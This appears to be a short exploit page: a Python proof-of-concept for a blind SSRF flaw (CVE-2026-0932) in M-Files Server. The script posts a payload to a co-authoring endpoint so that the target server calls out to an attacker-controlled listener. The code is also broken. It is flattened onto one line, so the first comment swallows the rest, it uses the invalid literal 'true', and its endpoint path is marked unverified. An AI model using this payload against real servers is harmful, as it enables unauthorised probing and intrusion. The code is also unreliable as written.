CVE-2026-0932 M-Files Server 盲SSRF漏洞

import requests # Exploit Title: M-Files Server Blind SSRF PoC (CVE-2026-0932) # Description: Triggers the server to send a HTTP GET request to an arbitrary URL. # Target M-Files Server URL (Replace with actual target) target_host = "http://target-m-files-server:8080" # Attacker controlled listener for Out-of-Band interaction attacker_listener = "http://attacker-controlled-domain.com/collaborator" # Vulnerable endpoint for legacy co-authoring connection # Note: The specific endpoint path needs to be verified against the specific version vulnerable_endpoint = "/M-Files/API/Vault/Co-Authoring/LegacyConnect" payload = { "targetUrl": attacker_listener, "legacyMode": true } try: print(f"[*] Sending SSRF payload to {target_host}...") response = requests.post( target_host + vulnerable_endpoint, json=payload, timeout=10 ) if response.status_code == 200: print("[+] Request sent successfully. Check your listener for the connection.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")